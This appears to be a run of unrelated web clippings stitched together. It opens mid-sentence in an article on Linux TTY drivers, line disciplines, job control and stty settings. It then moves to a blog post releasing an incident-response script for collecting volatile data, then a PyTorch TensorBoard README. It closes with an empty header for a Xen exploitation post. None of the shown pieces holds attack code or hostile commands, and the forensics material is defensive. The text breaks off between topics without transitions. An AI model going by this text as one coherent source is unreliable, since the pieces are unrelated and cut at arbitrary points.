is a twisty little mess of special cases. To understand how this came to be,
we have to go back in time.

## History

In 1869, the _stock ticker_ was invented. It was an electro-mechanical machine
consisting of a typewriter, a long pair of wires and a ticker tape printer,
and its purpose was to distribute stock prices over long distances in
realtime. This concept gradually evolved into the faster, ASCII-based
_teletype_. Teletypes were once connected across the world in a large network,
called _Telex_ , which was used for transferring commercial telegrams, but the
teletypes weren't connected to any computers yet.

Meanwhile, however, the computers — still quite large and primitive, but able
to multitask — were becoming powerful enough to be able to interact with users
in realtime. When the command line eventually replaced the old batch
processing model, teletypes were used as input and output devices, because
they were readily available on the market.

There was a plethora of teletype models around, all slightly different, so
some kind of software compatibility layer was called for. In the UNIX world,
the approach was to let the operating system kernel handle all the low-level
details, such as word length, baud rate, flow control, parity, control codes
for rudimentary line editing and so on. Fancy cursor movements, colour output
and other advanced features made possible in the late 1970s by solid state
_video terminals_ such as the VT-100, were left to the applications.

In present time, we find ourselves in a world where physical teletypes and
video terminals are practically extinct. Unless you visit a museum or a
hardware enthusiast, all the TTYs you're likely to see will be emulated video
terminals — software simulations of the real thing. But as we shall see, the
legacy from the old cast-iron beasts is still lurking beneath the surface.

## The use cases

<img src='img/Temp2_8326.jpg' />

A user types at a terminal \(a physical teletype\). This terminal is connected
through a pair of wires to a _UART_ \(Universal Asynchronous Receiver and
Transmitter\) on the computer. The operating system contains a _UART driver_
which manages the physical transmission of bytes, including parity checks and
flow control. In a naïve system, the UART driver would then deliver the
incoming bytes directly to some application process. But such an approach
would lack the following essential features:

**Line editing.** Most users make mistakes while typing, so a backspace key is
often useful. This could of course be implemented by the applications
themselves, but in accordance with the UNIX design philosophy, applications
should be kept as simple as possible. So as a convenience, the operating
system provides an editing buffer and some rudimentary editing commands
\(backspace, erase word, clear line, reprint\), which are enabled by default
inside the _line discipline_. Advanced applications may disable these features
by putting the line discipline in _raw_ mode instead of the default _cooked_
\(or _canonical_\) mode. Most interactive applications \(editors, mail user
agents, shells, all programs relying on `curses` or `readline`\) run in raw
mode, and handle all the line editing commands themselves. The line discipline
also contains options for character echoing and automatic conversion between
carriage returns and linefeeds. Think of it as a primitive kernel-level
`sed(1)`, if you like.

Incidentally, the kernel provides several different line disciplines. Only one
of them is attached to a given serial device at a time. The default
discipline, which provides line editing, is called `N_TTY`
\(`drivers/char/n_tty.c`, if you're feeling adventurous\). Other disciplines
are used for other purposes, such as managing packet switched data \(ppp,
IrDA, serial mice\), but that is outside the scope of this article.

**Session management.** The user probably wants to run several programs
simultaneously, and interact with them one at a time. If a program goes into
an endless loop, the user may want to kill it or suspend it. Programs that are
started in the background should be able to execute until they try to write to
the terminal, at which point they should be suspended. Likewise, user input
should be directed to the foreground program only. The operating system
implements these features in the _TTY driver_ \(`drivers/char/tty_io.c`\).

An operating system process is "alive" \(has an _execution context_\), which
means that it can perform actions. The TTY driver is not alive; in object
oriented terminology, the TTY driver is a passive object. It has some data
fields and some methods, but the only way it can actually do something is when
one of its methods gets called from the context of a process or a kernel
interrupt handler. The line discipline is likewise a passive entity.

Together, a particular triplet of UART driver, line discipline instance and
TTY driver may be referred to as a _TTY device_ , or sometimes just TTY. A
user process can affect the behaviour of any TTY device by manipulating the
corresponding device file under `/dev`. Write permissions to the device file
are required, so when a user logs in on a particular TTY, that user must
become the owner of the device file. This is traditionally done by the
`login(1)` program, which runs with root privileges.

The physical line in the previous diagram could of course be a long-distance
phone line:

<img src='img/Temp2_8325.jpg' />

This does not change much, except that the system now has to handle a modem
hangup situation as well.

Let's move on to a typical desktop system. This is how the Linux console
works:

<img src='img/Temp2_8322.jpg' />

The TTY driver and line discipline behave just like in the previous examples,
but there is no UART or physical terminal involved anymore. Instead, a video
terminal \(a complex state machine including a _frame buffer_ of characters
and graphical character attributes\) is emulated in software, and rendered to
a VGA display.

The console subsystem is somewhat rigid. Things get more flexible \(and
abstract\) if we move the terminal emulation into userland. This is how
`xterm(1)` and its clones work:

<img src='img/Temp2_8324.jpg' />

To facilitate moving the terminal emulation into userland, while still keeping
the TTY subsystem \(session management and line discipline\) intact, the
_pseudo terminal_ or _pty_ was invented. And as you may have guessed, things
get even more complicated when you start running pseudo terminals inside
pseudo terminals, à la `screen(1)` or `ssh(1)`.

Now let's take a step back and see how all of this fits into the process
model.

## Processes

A Linux process can be in one of the following states:

<img src='img/Temp2_8319.jpg' />

R| Running or runnable \(on run queue\)  
---|---  
D| Uninterruptible sleep \(waiting for some event\)  
S| Interruptible sleep \(waiting for some event or signal\)  
T| Stopped, either by a job control signal or because it is being traced by a
debugger.  
Z| Zombie process, terminated but not yet reaped by its parent.  
By running `ps l`, you can see which processes are running, and which are
sleeping. If a process is sleeping, the `WCHAN` column \("wait channel", the
name of the wait queue\) will tell you what kernel event the process is
waiting for.

[code]

    $ ps l
    F   UID   PID  PPID PRI  NI    VSZ   RSS WCHAN  STAT TTY        TIME COMMAND
    0   500  5942  5928  15   0  12916  1460 wait   Ss   pts/14     0:00 -/bin/bash
    0   500 12235  5942  15   0  21004  3572 wait   S+   pts/14     0:01 vim index.php
    0   500 12580 12235  15   0   8080  1440 wait   S+   pts/14     0:00 /bin/bash -c (ps l) >/tmp/v727757/1 2>&1
    0   500 12581 12580  15   0   4412   824 -      R+   pts/14     0:00 ps l
    
[/code]

The "`wait`" wait queue corresponds to the `wait(2)` syscall, so these
processes will be moved to the running state whenever there's a state change
in one of their child processes. There are two sleeping states: Interruptible
sleep and uninterruptible sleep. Interruptible sleep \(the most common case\)
means that while the process is part of a wait queue, it may actually also be
moved to the running state when a signal is sent to it. If you look inside the
kernel source code, you will find that any kernel code which is waiting for an
event must check if a signal is pending after schedule\(\) returns, and abort
the syscall in that case.

In the `ps` listing above, the `STAT` column displays the current state of
each process. The same column may also contain one or more attributes, or
flags:

s| This process is a session leader.  
---|---  
+| This process is part of a foreground process group.  
These attributes are used for job control.

## Jobs and sessions

Job control is what happens when you press `^Z` to suspend a program, or when
you start a program in the background using `&`. A job is the same as a
process group. Internal shell commands like `jobs`, `fg` and `bg` can be used
to manipulate the existing jobs within a _session_. Each session is managed by
a _session leader_ , the shell, which is cooperating tightly with the kernel
using a complex protocol of signals and system calls.

The following example illustrates the relationship between processes, jobs and
sessions:

### The following shell interactions...

<img src='img/Temp2_8323.jpg' />

### ...correspond to these processes...

<img src='img/Temp2_8328.jpg' />

### ...and these kernel structures.

  * TTY Driver \(`/dev/pts/0`\). 
[code]    Size: 45x13

    Controlling process group: (101)
    Foreground process group: (103)
    UART configuration (ignored, since this is an xterm): Baud rate, parity, word length and much more.
    Line discipline configuration: cooked/raw mode, linefeed correction, meaning of interrupt characters etc.
    Line discipline state: edit buffer (currently empty), cursor position within buffer etc.
    
[/code]

  * pipe0 
[code]    Readable end (connected to PID 104 as file descriptor 0)

    Writable end (connected to PID 103 as file descriptor 1)
    Buffer
    
[/code]

The basic idea is that every pipeline is a job, because every process in a
pipeline should be manipulated \(stopped, resumed, killed\) simultaneously.
That's why `kill(2)` allows you to send signals to entire process groups. By
default, `fork(2)` places a newly created child process in the same process
group as its parent, so that e.g. a `^C` from the keyboard will affect both
parent and child. But the shell, as part of its session leader duties, creates
a new process group every time it launches a pipeline.

The TTY driver keeps track of the foreground process group id, but only in a
passive way. The session leader has to update this information explicitly when
necessary. Similarly, the TTY driver keeps track of the size of the connected
terminal, but this information has to be updated explicitly, by the terminal
emulator or even by the user.

As you can see in the diagram above, several processes have `/dev/pts/0` attached to their standard input. But only the foreground job \(the `ls | sort` pipeline\) will receive input from the TTY. Likewise, only the foreground job will be allowed to write to the TTY device \(in the default configuration\). If the cat process were to attempt to write to the TTY, the kernel would suspend it using a signal.
## Signal madness

Now let's take a closer look at how the TTY drivers, the line disciplines and
the UART drivers in the kernel communicate with the userland processes.

UNIX files, including the TTY device file, can of course be read from and
written to, and further manipulated by means of the magic `ioctl(2)` call
\(the Swiss army-knife of UNIX\) for which lots of TTY related operations have
been defined. Still, `ioctl` requests have to be initiated from processes, so
they can't be used when the kernel needs to communicate _asynchronously_ with
an application.

In _The Hitchhiker's Guide to the Galaxy_ , Douglas Adams mentions an
extremely dull planet, inhabited by a bunch of depressed humans and a certain
breed of animals with sharp teeth which communicate with the humans by biting
them very hard in the thighs. This is strikingly similar to UNIX, in which the
kernel communicates with processes by sending paralyzing or deadly signals to
them. Processes may intercept some of the signals, and try to adapt to the
situation, but most of them don't.

So a signal is a crude mechanism that allows the kernel to communicate
asynchronously with a process. Signals in UNIX aren't clean or general;
rather, each signal is unique, and must be studied individually.

You can use the command `kill -l` to see which signals your system implements.
This is what it may look like:

[code]

    $ kill -l
     1) SIGHUP	 2) SIGINT	 3) SIGQUIT	 4) SIGILL
     5) SIGTRAP	 6) SIGABRT	 7) SIGBUS	 8) SIGFPE
     9) SIGKILL	10) SIGUSR1	11) SIGSEGV	12) SIGUSR2
    13) SIGPIPE	14) SIGALRM	15) SIGTERM	16) SIGSTKFLT
    17) SIGCHLD	18) SIGCONT	19) SIGSTOP	20) SIGTSTP
    21) SIGTTIN	22) SIGTTOU	23) SIGURG	24) SIGXCPU
    25) SIGXFSZ	26) SIGVTALRM	27) SIGPROF	28) SIGWINCH
    29) SIGIO	30) SIGPWR	31) SIGSYS	34) SIGRTMIN
    35) SIGRTMIN+1	36) SIGRTMIN+2	37) SIGRTMIN+3	38) SIGRTMIN+4
    39) SIGRTMIN+5	40) SIGRTMIN+6	41) SIGRTMIN+7	42) SIGRTMIN+8
    43) SIGRTMIN+9	44) SIGRTMIN+10	45) SIGRTMIN+11	46) SIGRTMIN+12
    47) SIGRTMIN+13	48) SIGRTMIN+14	49) SIGRTMIN+15	50) SIGRTMAX-14
    51) SIGRTMAX-13	52) SIGRTMAX-12	53) SIGRTMAX-11	54) SIGRTMAX-10
    55) SIGRTMAX-9	56) SIGRTMAX-8	57) SIGRTMAX-7	58) SIGRTMAX-6
    59) SIGRTMAX-5	60) SIGRTMAX-4	61) SIGRTMAX-3	62) SIGRTMAX-2
    63) SIGRTMAX-1	64) SIGRTMAX	
    
[/code]

As you can see, signals are numbered starting with 1. However, when they are
used in bitmasks \(e.g. in the output of `ps s`\), the least significant bit
corresponds to signal 1.

This article will focus on the following signals: `SIGHUP`, `SIGINT`,
`SIGQUIT`, `SIGPIPE`, `SIGCHLD`, `SIGSTOP`, `SIGCONT`, `SIGTSTP`, `SIGTTIN`,
`SIGTTOU` and `SIGWINCH`.

### SIGINT

  * Default action: **Terminate**
  * Possible actions: Terminate, Ignore, Function call

`SIGINT` is sent by the TTY driver to the current foreground job when the
_interactive attention_ character \(typically `^C`, which has ASCII code 3\)
appears in the input stream, unless this behaviour has been turned off.
Anybody with access permissions to the TTY device can change the interactive
attention character and toggle this feature; additionally, the session manager
keeps track of the TTY configuration of each job, and updates the TTY whenever
there is a job switch.

### SIGQUIT

  * Default action: **Core dump**
  * Possible actions: Core dump, Ignore, Function call

`SIGQUIT` works just like `SIGINT`, but the quit character is typically `^\`
and the default action is different.

### SIGSTOP

  * Default action: **Suspend**
  * Possible actions: Suspend

This signal will unconditionally suspend the recipient, i.e. its signal action
can't be reconfigured. Please note, however, that `SIGSTOP` isn't sent by the
kernel during job control. Instead, `^Z` typically triggers a `SIGTSTP`, which
can be intercepted by the application. The application may then e.g. move the
cursor to the bottom of the screen or otherwise put the terminal in a known
state, and subsequently put itself to sleep using `SIGSTOP`.

### SIGTSTP

  * Default action: **Suspend**
  * Possible actions: Suspend, Ignore, Function call

`SIGTSTP` works just like `SIGINT` and `SIGQUIT`, but the magic character is
typically `^Z` and the default action is to suspend the process.

## An example

Suppose that you are editing a file in your \(terminal based\) editor of
choice. The cursor is somewhere in the middle of the screen, and the editor is
busy executing some processor intensive task, such as a search and replace
operation on a large file. Now you press `^Z`. Since the line discipline has
been configured to intercept this character \(`^Z` is a single byte, with
ASCII code 26\), you don't have to wait for the editor to complete its task
and start reading from the TTY device. Instead, the line discipline subsystem
instantly sends `SIGTSTP` to the foreground process group. This process group
contains the editor, as well as any child processes created by it.

The editor has installed a signal handler for `SIGTSTP`, so the kernel diverts
the process into executing the signal handler code. This code moves the cursor
to the last line on the screen, by writing the corresponding control sequences
to the TTY device. Since the editor is still in the foreground, the control
sequences are transmitted as requested. But then the editor sends a `SIGSTOP`
to its own process group.

The editor has now been stopped. This fact is reported to the session leader
using a `SIGCHLD` signal, which includes the id of the suspended process. When
all processes in the foreground job have been suspended, the session leader
reads the current configuration from the TTY device, and stores it for later
retrieval. The session leader goes on to install itself as the current
foreground process group for the TTY using an `ioctl` call. Then, it prints
something like "\[1\]+ Stopped" to inform the user that a job was just
suspended.

At this point, `ps(1)` will tell you that the editor process is in the stopped
state \("`T`"\). If we try to wake it up, either by using the `bg` built-in
shell command, or by using `kill(1)` to send `SIGCONT` to the process\(es\),
the editor will start executing its `SIGCONT` signal handler. This signal
handler will probably attempt to redraw the editor GUI by writing to the TTY
device. But since the editor is now a background job, the TTY device will not
allow it. Instead, the TTY will send `SIGTTOU` to the editor, stopping it
again. This fact will be communicated to the session leader using `SIGCHLD`,
and the shell will once again write "\[1\]+ Stopped" to the terminal.

When we type `fg`, however, the shell first restores the line discipline
configuration that was saved earlier. It informs the TTY driver that the
editor job should be treated as the foreground job from now on. And finally,
it sends a `SIGCONT` signal to the process group. The editor process attempts
to redraw its GUI, and this time it will not be interrupted by `SIGTTOU` since
it is now a part of the foreground job.

## Flow control and blocking I/O

<img src='img/Temp2_8320.jpg' />

Run `yes` in an `xterm`, and you will see a lot of "`y`" lines swooshing past
your eyes. Naturally, the `yes` process is able to generate "`y`" lines much
faster than the `xterm` application is able to parse them, update its frame
buffer, communicate with the X server in order to scroll the window and so on.
How is it possible for these programs to cooperate?

The answer lies in _blocking I/O_. The pseudo terminal can only keep a certain
amount of data inside its kernel buffer, and when that buffer is full and
`yes` tries to call `write(2)`, then `write(2)` will _block_ , moving the
`yes` process into the interruptible sleep state where it remains until the
`xterm` process has had a chance to read off some of the buffered bytes.

The same thing happens if the TTY is connected to a serial port. `yes` would
be able to transmit data at a much higher rate than, say, 9600 baud, but if
the serial port is limited to that speed, the kernel buffer soon fills up and
any subsequent `write(2)` calls block the process \(or fail with the error
code `EAGAIN` if the process has requested non-blocking I/O\).

What if I told you, that it is possible to explicitly put the TTY in a
blocking state even though there is space left in the kernel buffer? That
until further notice, every process trying to `write(2)` to the TTY
automatically blocks. What would be the use of such a feature?

Suppose we're talking to some old VT-100 hardware at 9600 baud. We just sent a
complex control sequence asking the terminal to scroll the display. At this
point, the terminal gets so bogged down with the scrolling operation, that
it's unable to receive new data at the full rate of 9600 baud. Well,
physically, the terminal UART still runs at 9600 baud, but there won't be
enough buffer space in the terminal to keep a backlog of received characters.
This is when it would be a good time to put the TTY in a blocking state. But
how do we do that from the terminal?

We have already seen that a TTY device may be configured to give certain data
bytes a special treatment. In the default configuration, for instance, a
received `^C` byte won't be handed off to the application through `read(2)`,
but will instead cause a `SIGINT` to be delivered to the foreground job. In a
similar way, it is possible to configure the TTY to react on a _stop flow_
byte and a _start flow_ byte. These are typically `^S` \(ASCII code 19\) and
`^Q` \(ASCII code 17\) respectively. Old hardware terminals transmit these
bytes automatically, and expect the operating system to regulate its flow of
data accordingly. This is called flow control, and it's the reason why your
`xterm` sometimes appears to lock up when you accidentally press `^S`.

There's an important difference here: Writing to a TTY which is stopped due to
flow control, or due to lack of kernel buffer space, will _block_ your
process, whereas writing to a TTY from a background job will cause a `SIGTTOU`
to suspend the entire process group. I don't know why the designers of UNIX
had to go all the way to invent `SIGTTOU` and `SIGTTIN` instead of relying on
blocking I/O, but my best guess is that the TTY driver, being in charge of job
control, was designed to monitor and manipulate whole jobs; never the
individual processes within them.

## Configuring the TTY device

<img src='img/Temp2_8321.jpg' />

To find out what the controlling TTY for your shell is called, you could refer
to the `ps l` listing as described earlier, or you could simply run the
`tty(1)` command.

A process may read or modify the configuration of an open TTY device using
`ioctl(2)`. The API is described in `tty_ioctl(4)`. Since it's part of the
binary interface between Linux applications and the kernel, it will remain
stable across Linux versions. However, the interface is non-portable, and
applications should rather use the POSIX wrappers described in the
`termios(3)` man page.

I won't go into the details of the `termios(3)` interface, but if you're
writing a C program and would like to intercept `^C` before it becomes a
`SIGINT`, disable line editing or character echoing, change the baud rate of a
serial port, turn off flow control etc. then you will find what you need in
the aforementioned man page.

There is also a command line tool, called `stty(1)`, to manipulate TTY
devices. It uses the `termios(3)` API.

Let's try it\!

` $ stty -a  
speed 38400 baud; rows 73; columns 238; line = 0;  
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 =
<undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase
= ^W; lnext = ^V; flush = ^O; min = 1; time = 0;  
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts  
-ignbrk brkint ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany imaxbel -iutf8  
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0
ff0  
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke  
`

The `-a` flag tells stty to display **all** settings. By default, it will look
at the TTY device attached to your shell, but you can specify another device
with `-F`.

Some of these settings refer to UART parameters, some affect the line
discipline and some are for job control. _All mixed up in a bucket for
monsieur._ Let's have a look at the first line:

speed| UART| The baud rate. Ignored for pseudo terminals.  
---|---|---  
rows, columns| TTY driver| Somebody's idea of the size, in characters, of the
terminal attached to this TTY device. Basically, it's just a pair of variables
within kernel space, that you may freely set and get. Setting them will cause
the TTY driver to dispatch a `SIGWINCH` to the foreground job.  
line| Line discipline| The line discipline attached to the TTY device. 0 is
`N_TTY`. All valid numbers are listed in `/proc/tty/ldiscs`. Unlisted numbers
appear to be aliases for `N_TTY`, but don't rely on it.  
Try the following: Start an `xterm`. Make a note of its TTY device \(as
reported by `tty`\) and its size \(as reported by `stty -a`\). Start `vim`
\(or some other full-screen terminal application\) in the `xterm`. The editor
queries the TTY device for the current terminal size in order to fill the
entire window. Now, from a different shell window, type:

[code]

    stty -F _X_ rows _Y_
[/code]

where _X_ is the TTY device, and _Y_ is half the terminal height. This will
update the TTY data structure in kernel memory, and send a `SIGWINCH` to the
editor, which will promptly redraw itself using only the upper half of the
available window area.

The second line of `stty -a` output lists all the special characters. Start a
new `xterm` and try this:

[code]

    stty intr o
[/code]

Now "`o`", rather than `^C`, will send a `SIGINT` to the foreground job. Try
starting something, such as `cat`, and verify that you can't kill it using
`^C`. Then, try typing "`hello`" into it.

Occasionally, you may come across a UNIX system where the backspace key
doesn't work. This happens when the terminal emulator transmits a backspace
code \(either ASCII 8 or ASCII 127\) which doesn't match the `erase` setting
in the TTY device. To remedy the problem, one usually types `stty erase ^H`
\(for ASCII 8\) or `stty erase ^?` \(for ASCII 127\). But please remember that
many terminal applications use `readline`, which puts the line discipline in
raw mode. Those applications aren't affected.

Finally, `stty -a` lists a bunch of switches. As expected, they are listed in
no particular order. Some of them are UART-related, some affect the line
discipline behaviour, some are for flow control and some are for job control.
A dash \(`-`\) indicates that the switch is off; otherwise it is on. All of
the switches are explained in the `stty(1)` man page, so I'll just briefly
mention a few:

**`icanon`** toggles the canonical \(line-based\) mode. Try this in a new
`xterm`:

[code]

    stty -icanon; cat
[/code]

Note how all the line editing characters, such as backspace and `^U`, have
stopped working. Also note that `cat` is receiving \(and consequently
outputting\) one character at a time, rather than one line at a time.

**`echo`** enables character echoing, and is on by default. Re-enable
canonical mode \(`stty icanon`\), and then try:

[code]

    stty -echo; cat
[/code]

As you type, your terminal emulator transmits information to the kernel.
Usually, the kernel echoes the same information back to the terminal emulator,
allowing you to see what you type. Without character echoing, you can't see
what you type, but we're in cooked mode so the line editing facilities are
still working. Once you press enter, the line discipline will transmit the
edit buffer to `cat`, which will reveal what your wrote.

**`tostop`** controls whether background jobs are allowed to write to the
terminal. First try this:

[code]

    stty tostop; (sleep 5; echo hello, world) &
[/code]

The `&` causes the command to run as a background job. After five seconds, the
job will attempt to write to the TTY. The TTY driver will suspend it using
`SIGTTOU`, and your shell will probably report this fact, either immediately,
or when it's about to issue a new prompt to you. Now kill the background job,
and try the following instead:

[code]

    stty -tostop; (sleep 5; echo hello, world) &
[/code]

You will get your prompt back, but after five seconds, the background job
transmits `hello, world` to the terminal, in the middle of whatever you were
typing.

Finally, `stty sane` will restore your TTY device configuration to something
reasonable.

## Conclusion

I hope this article has provided you with enough information to get to terms
with TTY drivers and line disciplines, and how they are related to terminals,
line editing and job control. Further details can be found in the various man
pages I've mentioned, as well as in the glibc manual \(`info libc`, "Job
Control"\).

Finally, while I don't have enough time to answer all the questions I get, I
do welcome feedback on this and other pages on the site. Thanks for reading\!

Posted Friday 25-Jul-2008 17:46

# Journey Into Incident Response: Dual Purpose Volatile Data Collection Script

**Created:**| _1/3/2012 4:35:38 PM_  
---|---  
**Updated:**| _1/3/2012 4:35:38 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

## Dual Purpose Volatile Data Collection Script

Monday, January 2, 2012 Posted by Corey Harrell

When responding to a potential security incident a capability is needed to
quickly triage the system to see what's going on. Is a rogue process running
on the system, whose currently logged onto the system, what other systems are
trying to connect over the network, or how do I document the actions I took on
the system. These are valid questions during incident response whether the
response is for an actual event or a simulation. One area to examine to get
answers is the systems' volatile data. Automating the collection of volatile
data can save valuable time which in turn helps analysts examine the data
faster in order to get answers. This post briefly describes \(and releases\)
the Tr3Secure volatile data collection script I wrote.  
  
Tr3Secure needed a toolset for responding to systems during attack simulations
and one of the tools had to quickly collect volatile data on a system \(I
previously discussed what Tr3Secure is here\). However, the volatile data
collection tool had to provide dual functions. First and foremost it had to
properly preserve and acquire data from live systems. The toolset is initially
being used in a training environment but the tools and processes we are
learning need to be able to translate over to actual security incidents. What
good is mastering a collection tool that can’t be used during live incident
response activities? The second required function was the tool had to help
with training people on examining volatile data. Tr3Secure members come from
different information security backgrounds so not every member will be
knowledgeable about volatile data. Collecting data is one thing but people
will eventually need to know how to understand what the data means. The DFIR
community has a few volatile data collection scripts but none of the scripts I
found provided the dual functionality for practical and training usage. So I
went ahead and wrote a script to meet our needs.  
  
**Practical Usage**  
  
These were some considerations taken into account to ensure the script is
scalable to meet the needs for volatile data collection during actual incident
response activities.  
  
 _Flexibility_  
  
Different responses will have different requirements on where to store the
volatile data that’s collected. At times the data may be stored on the same
drive where the DFIR toolset is located while at other times the data may be
stored to a different drive. I took this into consideration and the volatile
data collection script allows for the output data to be stored on a drive of
choice. If someone prefers to run their tools from a CD-ROM while someone else
works with a large USB removable drive then the script can be used by the both
of them.  
  
_Organize Output_  
  
Troy Larson posted a few lines of code from his collection script to the
Win4n6 sometime ago. One thing I noticed about his script was that he
organized the output data based on a case number. I incorporated his idea into
my script; a case number needs to be entered when the script is run on a
system. A case folder enables data collected from numerous systems to be
stored in the same folder \(folder is named Data-Case\#\). In addition to
organizing data into a case folder, the actual volatile data is stored in a
sub-folder named after the system the data came from \(system's computer name
is used to name the folder\). To prevent overwriting data by running the
script multiple times on the same system I incorporated a timestamp into the
folder name \(two digit month, day, year, hour, and minute\). Appending a
timestamp to the folder name means the script can execute against the same
system numerous times and all of the volatile data is stored in separate
folders. Lastly, the data collected from the system is stored in separate sub-
folders for easier access. The screenshot below shows the data collected for
Case Number 100 from the system OWNING-U on 01/01/2012 at 15:46.  
  

<img src='img/Temp2_4713.jpg' width='640' height='282' />

  
_Documentation_  
  
Automating data collection means that documentation can be automated as well.
The script documents everything in a collection log. Each case has one
collection log so regardless if data is collected from one or ten systems an
analyst will only have to worry about reviewing one log.  
  

<img src='img/Temp2_4719.jpg' width='640' height='284' />

  
The following information is documented both to the screen for an analyst to
see and a collection log file: case number, examiner name, target system, user
account used to collect data, drives for tools and data storage, time skew,
and program execution. The script prompts the analyst for the case number,
their name, and the drive to store data on. This information is automatically
stored in the collection log so the analyst doesn’t have to worry about
maintaining documentation elsewhere. In addition, the script prompts the
analyst for the current date and time which is used to record the time
difference between the system and the actual time. Every program executed by
the script is recorded in the collection log along with a timestamp of when
the program executed. This will make it easier to account for artifacts left
on a system if the system is examined after the script is executed. The
screenshot below shows the part of the collection log for the data collected
from the system OWNING-U.  
  

<img src='img/Temp2_4720.jpg' width='640' height='392' />

  
_Preservation_  
  
RFC 3227’s Order of Volatility outlines that evidence should be collected
starting with the most volatile then proceeding to the less volatile. The
script takes into account the order of volatility during data collection. When
all data is selected for collection, the memory is first imaged then volatile
data is collected followed by collecting non-volatile data. The volatile data
collected is: process information, network information, logged on users, open
files, clipboard, and then system information. The non-volatile data collected
is installed software, security settings, configured users/groups, system's
devices, auto-runs locations, and applied group policies. Another item the
script incorporated from Troy Larson’s comment in the Win4n6 group is
preserving the prefetch files before volatile data is collected. I never
thought about this before I read his comment but it makes sense. Volatile data
gets collected by executing numerous programs on a system and these actions
can overwrite the existing prefetch files with new information or files.
Preserving the prefetch files upfront ensures analysts will have access to
most of the prefetch files that were on the system before the collection
occurred \(four prefetch files may be overwritten before the script preserves
them\). The script uses robocopy to copy the prefetch files so the file system
metadata \(timestamps, NTFS permissions, and file ownership\) is collected
along with the files themselves. The screenshot below shows the preserved
files for system OWNING-U.  
  

<img src='img/Temp2_4718.jpg' width='640' height='418' />

  
_Tools Executed_  
  
The readme file accompanying the script outlines the various programs used to
collect data. The programs include built-in Windows commands and third party
utilities. The screenshot below shows the tools folder where the third party
utilities are stored.  
  

<img src='img/Temp2_4711.jpg' width='640' height='296' />

  
  

<img src='img/Temp2_4715.jpg' width='640' height='536' />

  
I’m not going to discuss every program but I at least wanted to highlight a
few. Windows diskpart command allows for disks, partitions, and volumes to be
managed through the command line. The script leverages diskpart to make it
easy for an analyst to see what drives and volumes are attached to a system.
Hopefully, the analyst won’t need to open up Windows explorer to see what the
removable media drive mappings are since the script displays the information
automatically as shown below. Note, to make diskpart work a text file needs to
be created in the tools folder named diskpart\_commands.txt and the file needs
to contain these two commands on separate lines: list disk and list volume.  
  

<img src='img/Temp2_4717.jpg' width='640' height='234' />

  
Mandiant’s Memoryze is used to obtain a forensic image of the system’s memory.
Memoryze supports a wide range of Windows operating systems which makes the
script more versatile for dumping RAM. The key reason the script uses Memoryze
is because it’s the only free memory imaging program I found that allows an
image to be stored in a folder of your choice. Most programs will place the
memory image in the same folder where the command line is opened. This
wouldn’t work because the image would be dropped in the folder where the
script is located instead of the drive the analyst wants. Memoryze uses an xml
configuration file to image RAM so I borrowed a few lines of code from the
MemoryDD.bat batch file to create the xml file for the script. Note, the
script only needs the memoryze.exe; to obtain the exe install Memoryze on a
computer then just copy memoryze.exe to the Tools folder.  
  
PXServer’s Winaudit program obtains the configuration information from a
system and I first became acquainted with the program during my time
performing vulnerability assessments. The script uses Winaudit to collect some
non-volatile data including the installed software, configured users/groups,
and computer devices. Winaudit is capable of collecting a lot more information
so it wouldn’t be that hard to incorporate the additional information by
modifying the script.  
  
**Training Usage**  
  
These were the two items put into the script to assist with training members
on performing incident response system triage.  
  
_Ordered Output Reports_  
  
The script collects a wealth of information about a system and this may be
overwhelming to analysts new to examining volatile data. For example, the
script produces six different reports about the processes running on a system.
A common question when faced with so many reports is how should they be
reviewed. The script’s output reports have numbers which is the suggested
order for them to be reviewed. This provides a little assistance to analysts
until they develop their own process for examining the data. The screenshots
below shows the process reports in the output folder and those reports opened
in Notepad ++.  
  

<img src='img/Temp2_4714.jpg' width='640' height='524' />

  
  

<img src='img/Temp2_4712.jpg' width='640' height='406' />

  
_Understanding Tool Functionality and Volatile Data_  
  
The script needs to help people better understand what the collected data
means about the system where it came from. Two great references for
collecting, examining, and understanding volatile data are Windows Forensic
Analysis, 2nd edition and Malware Forensics: Investigating and Analyzing
Malicious Code. I used both books when researching and selecting the script’s
tools to collect volatile data. What better ways to help someone better
understand the tools or data then by directing them to references that explain
it? I placed comments in the script containing the page number where a
specific tool is discussed and the data explained in both books. The
screenshot below shows the portion of the script that collects process
information and the references are highlighted in red.  
  

<img src='img/Temp2_4716.jpg' width='640' height='330' />

  
  
**Releasing the Tr3Secure Volatile Data Collection Script**  
  
There are very few things I do forensically that I think are cool; this script
happens to be one of them. There are not many tools or scripts that work as
intended while at the same time provide training. People who have more
knowledge about volatile data can hit the ground running with the script
investigating systems. The script automates imaging memory image, collecting
volatile/non-volatile data, and documenting every action taken on the system.
People with less knowledge can leverage the tool to learn how to investigate
systems. The script collects data then the ordered output and references in
the comments can be used to interpret the data. Talk about killing two birds
with one stone.  
  
The following is the location to the zip file containing the script and the
readme file <zip download link is here>. Please be advised, a few programs the
script uses require administrative rights to run properly.  
  
Enjoy and Happy Hunting ...

# yunjey/pytorch-tutorial

**Created:**| _5/28/2017 11:01:44 PM_  
---|---  
**Updated:**| _5/28/2017 11:01:44 PM_  
**Author:**| __  
**Tags:**| _machine-learning_  
  

  

# TensorBoard in PyTorch

In this tutorial, we implement the MNIST classifier using a simple neural
network and visualize the training process using TensorBoard. In training
phase, we plot the loss and accuracy functions through ` scalar_summary ` and
visualize the training images through ` image_summary `. In addition, we
visualize the weight and gradient values of the parameters of the neural
network using ` histogram_summary `. PyTorch code for handling with these
summary functions can be found here.

<img src='img/tensorboard.gif' width='888' height='411' alt='alt text' />

  

## Usage

#### 1\. Install the dependencies

[code]

    $ pip install -r requirements.txt
[/code]

#### 2\. Train the model

[code]

    $ python main.py
[/code]

#### 3\. Open the TensorBoard

To run the TensorBoard, open a new terminal and run the command below. Then,
open http://localhost:6006/ in your web browser.

[code]

    $ tensorboard --logdir='./logs' --port=6006
[/code]

  

# Xen exploitation part 1: XSA-105, from nobody to root

**Created:**| _5/25/2016 3:32:22 PM_  
---|---  
**Updated:**| _5/25/2016 3:32:22 PM_  
